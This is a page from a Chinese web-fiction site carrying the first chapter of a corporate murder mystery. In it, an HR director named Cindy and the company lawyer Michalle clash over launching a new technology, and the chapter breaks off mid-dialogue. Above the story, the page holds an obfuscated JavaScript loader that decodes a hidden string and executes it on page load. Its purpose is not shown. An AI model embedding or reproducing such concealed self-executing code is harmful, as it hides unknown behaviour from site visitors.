趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一章

第1章 宿仇见面(1 / 1)

加入书签 | 推荐本书 | 问题反馈 |

Cindy谋杀案新线索浮现 在这起扑朔迷离的人力总监Cindy谋杀案中,调查工作正紧张而有序地进行着。随着警方对案件的深入挖掘,一个新的关键人物——法务Michalle逐渐进入了他们的视线。原来,Cindy与这位法务人员之间存在着不为人知的宿仇。 Cindy作为人力资源总监,在公司的日常运营中扮演着至关重要的角色。她负责人员的招聘、培训、绩效考核以及人事调整等诸多事务,手中掌握着一定的权力。而Michalle作为法务,职责是确保公司的各项业务活动符合法律法规,同时处理公司涉及的法律纠纷和合同事务。两人在工作中本应相互协作,但不知为何却结下了深深的梁子。 据公司内部员工透露,在过去的一段时间里,Cindy和Michalle曾多次在工作上发生激烈的冲突。其中,最为突出的矛盾集中在一次大规模的员工裁员事件上。当时,Cindy主导了这次裁员计划,旨在优化公司的人力资源结构,降低运营成本。然而,Michalle却对裁员过程中的一些法律程序和细节提出了质疑。她认为Cindy的部分操作可能存在法律风险,会给公司带来潜在的法律纠纷。两人为此各执己见,在会议上多次激烈争吵,甚至到了面红耳赤的地步。最终,虽然裁员计划还是得以实施,但Cindy和Michalle之间的关系却从此变得剑拔弩张。 此后,又有几件涉及人事和法律交叉领域的事务,进一步加剧了两人之间的矛盾。例如,在一次员工劳动纠纷的处理中,Cindy主张采取较为强硬的态度,尽快解决问题,以避免对公司的声誉造成负面影响。而Michalle则坚持要严格按照法律程序办事,确保公司在法律层面上无懈可击。这种理念上的差异使得两人在处理方式上产生了严重分歧,最终导致该劳动纠纷的处理结果不尽如人意,双方都对此耿耿于怀。 除了工作上的冲突,还有一些传闻称,Cindy和Michalle在个人层面上也存在一些矛盾。有员工私下里议论,说Michalle曾对Cindy在公司内部的一些行事风格和人际关系处理方式表示不满,认为她过于功利和强势,有时甚至会为了达到自己的目的而不择手段。而Cindy则对Michalle的刻板和教条也颇有微词,觉得她缺乏灵活性和大局观。这些个人因素无疑也为两人之间的宿仇添了一把火。 在得知Cindy与Michalle之间的复杂关系后,警方立即对Michalle展开了调查。他们发现,Michalle在案发当天的行踪也存在一些疑点。虽然她有自己的不在场证明,但证明人是她的一位好友,这使得她的不在场证明略显单薄。此外,警方在调查Michalle的工作记录时,发现了一些与Cindy相关的奇怪文件。这些文件似乎是Michalle对Cindy过去一些工作决策的详细分析和记录,其中不乏一些带有批判性的批注和评论。这一发现让警方对Michalle的嫌疑进一步加深。 然而,仅凭目前的这些线索,还无法确凿地认定Michalle就是杀害Cindy的凶手。警方需要进一步深入调查,寻找更多的证据来支撑他们的推测。与此同时,他们也没有放松对其他线索和嫌疑人的排查,因为这起案件的背后可能隐藏着更为复杂的真相和动机。 在这个看似平静的公司里,一场因宿仇引发的谋杀案正逐渐揭开它神秘的面纱。Cindy与Michalle之间的矛盾究竟是如何一步步升级的?Michalle是否真的与Cindy的死有关?还是这背后另有隐情?警方在重重迷雾中继续艰难前行,努力寻找着能够解开这起谜案的关键钥匙,以期早日将真相大白于天下,让逝者安息,生者安心。 随着调查的不断深入,新的线索和证据不断涌现,案件的真相也逐渐变得清晰起来。但在这之前,一切都还只是未知数,每一个细节都可能成为破案的关键,每一个嫌疑人都不能轻易排除。这场关于人力总监Cindy谋杀案的调查,仍在紧张而充满悬念地继续着……

Cindy谋杀案背后的科技纠葛 在深入调查人力总监Cindy谋杀案的过程中,警方发现了一个令人意想不到的线索,将案件引向了更为复杂的方向——Cindy与法务Michalle竟然是因为未来科技的一个技术成果而展开了激烈的分歧,这一分歧或许成为了案件的关键导火索。 这家公司一直致力于未来科技领域的研发与创新,投入了大量的人力、物力和财力,期望在激烈的市场竞争中抢占先机。近期,公司的研发团队取得了一项具有重大突破意义的技术成果,该成果在行业内被誉为具有颠覆式创新的潜力,有望为公司带来巨大的商业价值和市场竞争力。 Cindy作为人力资源总监,从公司的整体运营和发展战略角度出发,认为应该尽快将这项技术成果推向市场,实现商业化转化。她主张通过快速的市场推广和应用,迅速占领市场份额,为公司创造可观的经济效益。在她看来,时间就是金钱,市场机遇稍纵即逝,必须抓住这个绝佳的时机,让公司在短期内获得最大的回报。为此,她积极推动相关部门加快产品的上市准备工作,甚至不惜在一些环节上简化流程,以提高效率。 然而,Michalle作为法务,她的关注点则更多地集中在技术成果的知识产权保护和法律风险防范上。她深知这样一项具有重大价值的技术成果,必然会引起竞争对手的觊觎。如果在知识产权保护措施尚未完善的情况下匆忙推向市场,很可能会面临侵权纠纷、专利诉讼等一系列法律风险。她坚持认为,公司应该首先对技术成果进行全面的知识产权布局,确保专利申请、商标注册等工作万无一失。同时,要对相关的法律合同和协议进行细致的审核和修订,明确各方的权利和义务,以最大程度地降低法律风险。在她看来,只有在法律保障坚实的基础上,才能稳健地推进技术成果的商业化进程。 两人在这个问题上的分歧日益加深,多次在公司内部会议上发生激烈的争论。Cindy指责Michalle过于保守,不懂市场的紧迫性,会错失公司发展的黄金时机。而Michalle则认为Cindy盲目追求速度,忽视了法律风险,是对公司的不负责任。双方各执一词,互不相让,矛盾逐渐激化。 随着调查的进一步深入,警方发现了一些可疑的迹象。在案发前一段时间,Cindy似乎在私下里与一些外部机构和人士进行接触,而这些接触与技术成果的商业化推广有着千丝万缕的联系。有人猜测,Cindy可能是在为技术成果寻找更快速的市场渠道,但她的这些行动却没有完全遵循公司的正规流程,也没有及时向Michalle和其他相关部门通报。这一行为引起了Michalle的强烈不满,她曾多次向公司高层反映,要求对Cindy的行为进行调查和约束。 而在Michalle这边,警方也发现了一些不寻常的举动。她在与公司的知识产权律师团队沟通时,表现出了异常的积极和强硬态度,对技术成果的知识产权保护方案提出了一系列严格甚至苛刻的要求。有员工透露,Michalle似乎对Cindy推动技术成果快速上市的计划极为担忧,甚至不惜动用一切手段来阻止。这使得她与Cindy之间的关系变得更加紧张,也让公司内部的氛围变得异常压抑。 在这个充满利益诱惑和竞争压力的商业环境中,未来科技的技术成果成为了众人关注的焦点。Cindy和Michalle围绕着这个技术成果展开的分歧,究竟是单纯的工作理念差异,还是背后隐藏着更深层次的利益冲突和阴谋?警方意识到,要解开Cindy谋杀案的谜团,必须深入挖掘这其中的复杂关系,理清每一个线索,才能找到真正的答案。 随着调查的不断推进,案件的真相似乎越来越近,但又仿佛被一层更厚的迷雾所笼罩。警方在科技成果与法律风险、商业利益与个人恩怨之间徘徊探寻,不放过任何一个可能的细节,力求揭开这起神秘谋杀案背后的惊人真相,为受害者讨回公道,也为公司恢复往日的平静与安宁。在这个充满挑战和悬念的调查过程中,每一次新的发现都可能成为案件的转折点,而最终的答案,或许就隐藏在那些看似微不足道的细节之中,等待着警方去一一揭示。 此时的公司,也因为这起谋杀案和技术成果的纷争而陷入了一片混乱。员工们人心惶惶,对未来充满了担忧和不确定性。公司高层则面临着巨大的压力,既要配合警方的调查,又要努力稳定公司的运营,确保技术研发和业务拓展不受太大影响。在这个关键时期,每一个决策都显得至关重要,每一个行动都可能影响到公司的未来走向。而警方,也在与时间赛跑,争取早日破案,让真相大白于天下,为这个陷入困境的公司带来一丝曙光。

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!公司会议室,Cindy 和 Michalle 相对而坐,会议桌上堆满了关于新技术成果的文件,两人面色凝重,气氛紧张。 Cindy(眼神坚定,略带急切):“Michalle,你不能再这样阻挠技术成果的推进了。市场机遇转瞬即逝,我们必须尽快把产品推向市场,不然公司会错失这绝佳的发展机会!” Michalle(皱着眉头,严肃回应):“Cindy,你太冲动了!你只看到了眼前的利益,却忽视了潜在的法律风险。如果我们在知识产权保护不完善的情况下就贸然行动,一旦出现法律纠纷,公司将会面临巨大的损失,这后果你承担得起吗?” Cindy(双手撑在桌上,身体前倾):“我怎么承担不起?我所做的一切都是为了公司的发展。我们投入了这么多资源研发出这个技术成果,不就是为了让它创造价值吗?现在市场对我们的技术需求迫切,我们必须抓住这个时机,快速占领市场份额。” Michalle(轻轻摇头,语气坚定):“你这是盲目冒险。法律保障是公司发展的基石,没有坚实的法律基础,任何商业成功都只是空中楼阁。我们必须先确保专利申请、法律合同等都没有问题,才能稳步推进商业化。” Cindy(冷笑一声):“稳步推进?等你把那些繁琐的程序都走完,市场早就被别人抢占了。你就是太保守,不懂市场的运作规律。” Michalle(脸色微微泛红,提高音量):“我这不是保守,是谨慎!你不能为了追求速度而不顾公司的长远利益。你私下与那些外部机构接触,有没有考虑过可能带来的法律隐患?” Cindy(眼神闪过一丝慌乱,但很快恢复镇定):“我那是为了拓展市场渠道,为公司寻找更多的合作机会。我所做的一切都是在我的职责范围内,都是为了公司好。” Michalle(盯着 Cindy,目光锐利):“你的职责是确保公司的人力资源管理合理有效,而不是擅自决定技术成果的推广方式。你这样做已经违反了公司的规定,也给公司带来了极大的风险。” Cindy(愤怒地站起来):“Michalle,你不要太过分了!你总是处处针对我,是不是对我有什么个人成见?” Michalle(也站起身来,毫不退缩):“我针对的是你的错误决策,不是你个人。我是在履行我的职责,保护公司的合法权益。如果你继续一意孤行,我会向公司高层汇报,让他们来评判。” Cindy(深吸一口气,努力平复情绪):“好,那我们就走着瞧。我相信公司高层会看到我的努力和成果,会支持我的决策。” Michalle(冷冷地看着 Cindy):“希望你不要为你的错误付出惨痛的代价。在法律面前,任何人都不能心存侥幸。” 两人怒目而视,会议室内的气氛仿佛凝固了一般。随后,Cindy 转身大步走出会议室,Michalle 则缓缓坐下,看着桌上的文件,陷入了沉思,她知道,这场关于技术成果的纷争才刚刚开始,而她必须坚守自己的立场,为公司的未来保驾护航。然而,她万万没有想到,这场纷争最终会以一种如此惨烈的方式收场……

依旧是公司会议室,上次激烈争吵后不久,Cindy 和 Michalle 又因为技术成果的事情被召集在一起讨论,气氛依旧剑拔弩张。 Michalle(率先开口,语气中带着一丝指责):“Cindy,我听说你又在催促研发部门加快产品的优化速度,准备跳过一些必要的测试环节,你这简直是在拿公司的声誉和未来开玩笑!” Cindy(不耐烦地回应):“Michalle,你别总是危言耸听。那些测试环节不过是例行公事,我们的技术已经非常成熟了,再拖延下去,市场机会就真的没了。” Michalle(瞪大了眼睛,不可置信地说):“例行公事?你知不知道一个小小的漏洞都可能导致整个产品的失败,引发严重的后果?我们必须对产品质量和用户负责。” Cindy(冷笑一声):“你就知道死抠那些条条框框,一点都不懂得变通。市场竞争如此激烈,等我们按部就班地做完所有测试,竞争对手早就把市场瓜分完了。” Michalle(气得脸色发白,声音也提高了八度):“你这是短视的行为!只看眼前的利益,不顾长远发展。如果因为产品质量问题导致客户投诉和法律纠纷,到时候公司的损失可不是你能想象的。” Cindy(双手抱胸,不屑地说):“你总是把法律纠纷挂在嘴边,好像只有你懂法律似的。我也在为公司的利益考虑,我要的是实际的成果和业绩。” Michalle(深吸一口气,试图让自己冷静下来):“Cindy,我们不是敌人,我们的目标都是为了公司好。但是你不能为了追求速度而忽视质量和法律风险。我们应该坐下来好好商量一个合理的解决方案。” Cindy(嘲讽地笑了笑):“商量?我们已经商量过多少次了,每次你都固执己见,根本不愿意妥协。我看你就是故意跟我作对,不想让我做出成绩。” Michalle(眼中闪过一丝失望):“你怎么能这么想?我所做的一切都是基于公司的整体利益和长远发展。你不能因为个人的野心而置公司于危险之中。” Cindy(愤怒地拍了一下桌子):“个人野心?你不要污蔑我。我为公司付出了这么多,你却看不到我的努力。我只是想让公司在这个领域占据领先地位,有错吗?” Michalle(无奈地摇了摇头):“你为公司努力我不否认,但是你的方法不对。我们不能只看眼前的利益,而忽略了潜在的风险。我们需要一个平衡的方案,既能保证产品的质量和合法性,又能尽快推向市场。” Cindy(沉默了片刻,似乎在思考):“那你说,怎么才能平衡?按照你的做法,等产品上市,黄花菜都凉了。” Michalle(认真地看着 Cindy):“我们可以加快知识产权保护的进程,同时优化测试流程,在不降低质量标准的前提下,尽量缩短时间。另外,我们可以与市场部门合作,提前做好市场调研和推广策划,确保产品一上市就能迅速打开市场。” Cindy(皱着眉头,思考了一会儿):“听起来有点道理,但是具体怎么做还需要进一步讨论。我还是觉得我们可以在一些非关键的测试环节上适当简化,以节省时间。” Michalle(坚决地说):“不行,任何一个测试环节都不能忽视。我们可以通过增加人手和资源来加快测试速度,但绝不能简化流程。这是原则问题。” Cindy(叹了口气):“好吧,那我们再看看怎么协调资源吧。不过,我希望你能明白,市场机会不等人,我们不能再拖下去了。” Michalle(点了点头):“我明白,我们会尽快找到一个解决方案的。但是在这之前,我们必须确保每一个步骤都符合法律规定和公司的标准。” 两人的对话暂时告一段落,虽然气氛依旧紧张,但至少开始尝试寻找解决问题的方法。然而,他们之间的矛盾并没有就此化解,在接下来的工作中,依然充满了挑战和不确定性。而这场关于技术成果的纷争,也在不知不觉中,将他们卷入了一个更深的漩涡……

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!公司的休息区,Cindy 和 Michalle 偶然在这里相遇,经过前几次的激烈交锋,两人都显得有些疲惫,但关于技术成果的问题仍横亘在他们之间,不得不再次面对。 Cindy(先打破沉默,语气稍显缓和):“Michalle,我们这样一直僵持下去也不是办法。我想了想,你说的关于质量和法律风险的问题确实有道理,但市场那边的压力也真的很大。” Michalle(微微点头,态度也不像之前那么强硬):“我也知道市场很重要,我们都希望公司能发展得好。只是在技术成果推广这件事上,我们需要找到一个平衡点。” Cindy(坐到旁边的椅子上,看着 Michalle):“那你觉得我们现在该怎么办?时间越来越紧迫了,公司高层也在催我们尽快拿出一个方案。” Michalle(沉思片刻后说):“我们可以重新评估一下测试流程,看看哪些环节可以通过优化资源配置来提高效率,而不是简单地跳过。比如,我们可以增加测试人员,或者采用更先进的测试工具和方法。” Cindy(眼睛一亮):“这个主意不错,我会和研发部门沟通一下,看看他们有什么建议。不过,关于知识产权保护方面,你有什么具体的计划吗?” Michalle(拿出一份文件递给 Cindy):“这是我初步拟定的知识产权保护方案,包括专利申请的加速流程、与外部律师事务所的合作计划等。你看看有没有什么问题。” Cindy(认真地翻阅文件):“嗯,看起来挺详细的。但是这些都需要时间和资金的投入,公司高层会同意吗?” Michalle(自信地说):“我会向他们详细解释这些措施的必要性和潜在收益。只要我们能让他们看到一个合理的规划和预期效果,我相信他们会支持的。” Cindy(放下文件,若有所思地说):“好吧,那我们一起努力。不过,在市场推广方面,我还是希望能有更多的自主权。毕竟我对市场的了解比较深入,我想根据市场的变化及时调整推广策略。” Michalle(犹豫了一下):“可以,但是你必须在遵守公司规定和法律的前提下进行。我们可以建立一个定期的沟通机制,你及时向我反馈市场推广的情况,我也会从法律角度给你提供一些建议和支持。” Cindy(伸出手):“好,那就这么说定了。希望我们这次能合作成功,为公司带来好的结果。” Michalle(握住 Cindy 的手):“嗯,希望如此。之前我们可能都太坚持自己的观点了,没有充分考虑对方的想法。以后我们要多沟通,多合作。” 两人相视而笑,虽然他们之间的矛盾并没有完全消除,但在这一刻,他们都意识到只有合作才能解决问题,推动技术成果的顺利推广。然而,他们不知道的是,在公司的暗处,还有一些势力在关注着他们的一举一动,这场关于技术成果的纷争,远没有他们想象的那么简单……

公司的茶水间,Cindy、Michalle 和研发部主管 Tom 聚在一起,讨论着技术成果的相关事宜,气氛略显紧张又充满期待。 Cindy(率先开口,眼神中透露出急切):“Michalle,Tom,我们真的不能再拖了。市场那边的反馈非常好,客户对我们的新技术成果期待值很高,我们必须尽快推进上市计划。” Michalle(皱着眉头,谨慎地回应):“Cindy,我理解市场的重要性,但质量和法律风险依然是我们不能忽视的关键问题。我们不能为了速度而牺牲产品的稳定性和合法性。” Tom(无奈地叹了口气):“我这边研发压力也很大啊。既要保证技术的优化,又要配合你们的时间要求,真的有点力不从心。而且一些关键的技术细节还需要进一步完善,这也需要时间。” Cindy(有些着急地看向 Tom):“Tom,你就不能想想办法加快进度吗?市场机会稍纵即逝,如果我们错过了这个窗口期,竞争对手就会抢占先机,到时候我们的努力就白费了。” Michalle(插话道):“Cindy,你别给 Tom太大压力。我们要在保证质量的前提下推进。我觉得我们可以重新梳理一下整个流程,看看有没有可以优化的环节,既能确保质量,又能提高效率。” Tom(沉思片刻):“其实有些测试环节可以并行进行,这样可以节省一些时间。但是这需要更多的人力和资源支持。” Cindy(眼睛一亮):“人力和资源方面我来想办法协调。Michalle,你那边法律手续办理的进度能不能再加快一些?” Michalle(点点头):“我会尽力和律师团队沟通,加快专利申请等相关法律程序的进度。但是一些必要的审核和流程是不能省略的,我们必须确保一切合法合规。” 就在这时,销售部经理 Lisa 也走进了茶水间,听到他们的讨论,忍不住发表自己的看法。 Lisa(急切地说):“我支持 Cindy 的观点,市场形势瞬息万变,我们必须尽快推出产品。我最近和几个大客户沟通,他们都表示如果我们能在近期推出新产品,他们有很大的合作意向。这对我们的业绩提升将是一个巨大的机会。” Michalle(看向 